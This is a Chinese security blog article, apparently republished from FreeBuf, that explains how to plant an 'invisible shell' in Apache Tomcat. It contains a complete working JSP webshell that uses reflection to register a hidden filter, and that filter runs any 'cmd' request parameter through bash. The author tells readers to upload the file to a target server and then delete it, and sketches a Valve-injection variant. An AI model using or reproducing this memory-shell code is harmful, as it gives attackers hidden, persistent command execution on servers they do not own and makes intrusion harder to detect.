Tomcat源代码调试:看不见的Shell第一式

安全 应用安全
抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。

抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程,找到了两个较为容易实现的方法(肯定还有其它的方法),这里记录一其中一个。另一个也很类似所以只记录一下思路。

1. 运行时动态插入过滤器

过滤器的基础概念以及作用这里不写了。

Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

FilterRegistration.Dynamic addFilter(String filterName,String className)  
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)  
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)  
  • 1.
  • 2.
  • 3.

这三个方法使得我们可以在运行时动态地添加过滤器。

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade

但是并没有简单到直接调用一下这可以实现,因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常:

我看了一下这个 if 之后的语句,并不是太复杂,这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利,我完全复制了后面的逻辑,但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat 接收处理请求的全过程,发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的:

真正的组装方法位于:

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 
  • 1.

代码太长不截图了,有兴趣的可以自己去看。

组装完成后开始调用过滤器链。

我将 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 方法内的细节与自己写的插入过滤器的细节做了对比,得出下面这个可以在Tomcat 8 (Tomcat 7 上的话需要小改一下)下实现我想要的目的 Jsp文件。直接看代码吧:

<%@ page language="java" contentType="text/html; charset=UTF-8" 
    pageEncoding="UTF-8"%> 
<%@ page import="java.io.IOException"%> 
<%@ page import="javax.servlet.DispatcherType"%> 
<%@ page import="javax.servlet.Filter"%> 
<%@ page import="javax.servlet.FilterChain"%> 
<%@ page import="javax.servlet.FilterConfig"%> 
<%@ page import="javax.servlet.FilterRegistration"%> 
<%@ page import="javax.servlet.ServletContext"%> 
<%@ page import="javax.servlet.ServletException"%> 
<%@ page import="javax.servlet.ServletRequest"%> 
<%@ page import="javax.servlet.ServletResponse"%> 
<%@ page import="javax.servlet.annotation.WebServlet"%> 
<%@ page import="javax.servlet.http.HttpServlet"%> 
<%@ page import="javax.servlet.http.HttpServletRequest"%> 
<%@ page import="javax.servlet.http.HttpServletResponse"%> 
<%@ page import="org.apache.catalina.core.ApplicationContext"%> 
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%> 
<%@ page import="org.apache.catalina.core.StandardContext"%> 
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%> 
<%@ page import="org.apache.catalina.Context"%> 
<%@ page import="java.lang.reflect.*"%> 
<%@ page import="java.util.EnumSet"%> 
<%@ page import="java.util.Map"%> 
 
 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>Insert title here</title> 
</head> 
<body> 
<
final String name = "n1ntyfilter"
 
ServletContext ctx = request.getSession().getServletContext(); 
Field f = ctx.getClass().getDeclaredField("context"); 
f.setAccessible(true); 
ApplicationContext appCtx = (ApplicationContext)f.get(ctx); 
 
f = appCtx.getClass().getDeclaredField("context"); 
f.setAccessible(true); 
StandardContext standardCtx = (StandardContext)f.get(appCtx); 
 
 
f = standardCtx.getClass().getDeclaredField("filterConfigs"); 
f.setAccessible(true); 
Map filterConfigs = (Map)f.get(standardCtx); 
 
if (filterConfigs.get(name) == null) { 
   out.println("inject "+ name); 
    
   Filter filter = new Filter() { 
      @Override 
      public void init(FilterConfig arg0) throws ServletException { 
         // TODO Auto-generated method stub 
      } 
       
      @Override 
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) 
            throws IOException, ServletException { 
         // TODO Auto-generated method stub 
         HttpServletRequest req = (HttpServletRequest)arg0; 
         if (req.getParameter("cmd") != null) { 
            byte[] data = new byte[1024]; 
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start(); 
            int len = p.getInputStream().read(data); 
            p.destroy(); 
            arg1.getWriter().write(new String(data, 0, len)); 
            return; 
         }  
         arg2.doFilter(arg0, arg1); 
      } 
       
      @Override 
      public void destroy() { 
         // TODO Auto-generated method stub 
      } 
   }; 
    
   FilterDef filterDef = new FilterDef(); 
    filterDef.setFilterName(name); 
    filterDef.setFilterClass(filter.getClass().getName()); 
    filterDef.setFilter(filter); 
     
    standardCtx.addFilterDef(filterDef); 
    
   FilterMap m = new FilterMap(); 
   m.setFilterName(filterDef.getFilterName()); 
   m.setDispatcher(DispatcherType.REQUEST.name()); 
   m.addURLPattern("/*"); 
    
    
   standardCtx.addFilterMapBefore(m); 
    
    
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 
   constructor.setAccessible(true); 
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef); 
    
    
    filterConfigs.put(name, filterConfig); 
     
    out.println("injected"); 

%> 
</body> 
</html> 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.

将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp,访问后如果看到“injected” 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后,任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

2. 动态插入 Valve

Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2 中的拦截器机制,那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链,而valve就相当于拦截器。

Valve 接口定义了如下的 invoke 方法:

publicvoid invoke(Request request, Response response) 
    throws IOException, ServletException; 
  • 1.
  • 2.

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。而且 filter 只对当前context 生效,而valve 如果插到最顶层的container 也就是 Engine,则会对 Engine 下的所有的context 生效。

以上两种方式,利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求,因为在这些流程之前,Tomcat会检查接收自socket的前几个字节是不是符合HTTP 协议的要求,虽然被请求的文件可以不存在。如果想利用非HTTP 协议,则需要在tomcat 的Connector 上做手脚,这个复杂度就比以上两种方式要高很多了。

以上两种方式都会在 Tomcat 重启后失效。

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2019-09-06 16:41:50

戴尔

2020-08-17 17:31:00

戴尔

2011-06-30 14:29:09

决战黄桥数字特效

2012-03-26 10:29:04

数据中心

2013-09-22 15:47:23

苹果iPhone

2013-07-04 14:05:26

功能用户体验

2013-06-21 15:01:16

编程开发

2020-12-24 14:41:03

人工智能人工智能技术

2022-04-28 16:11:09

DDOS勒索安全

2010-11-22 09:36:12

2023-04-28 15:30:32

数字化转型工具

2015-12-11 16:53:28

intel

2025-01-26 11:30:55

2016-09-06 09:45:43

华为HUAWEI CONN梯联网

2024-05-20 11:51:47

架构重构接口

2009-04-02 10:32:39

网络安全隐患

2018-07-06 09:00:00

2016-08-19 18:22:24

2013-11-29 14:31:18

NETGEAR路由NETGEAR

2013-03-29 10:10:00

点赞
收藏

51CTO技术栈公众号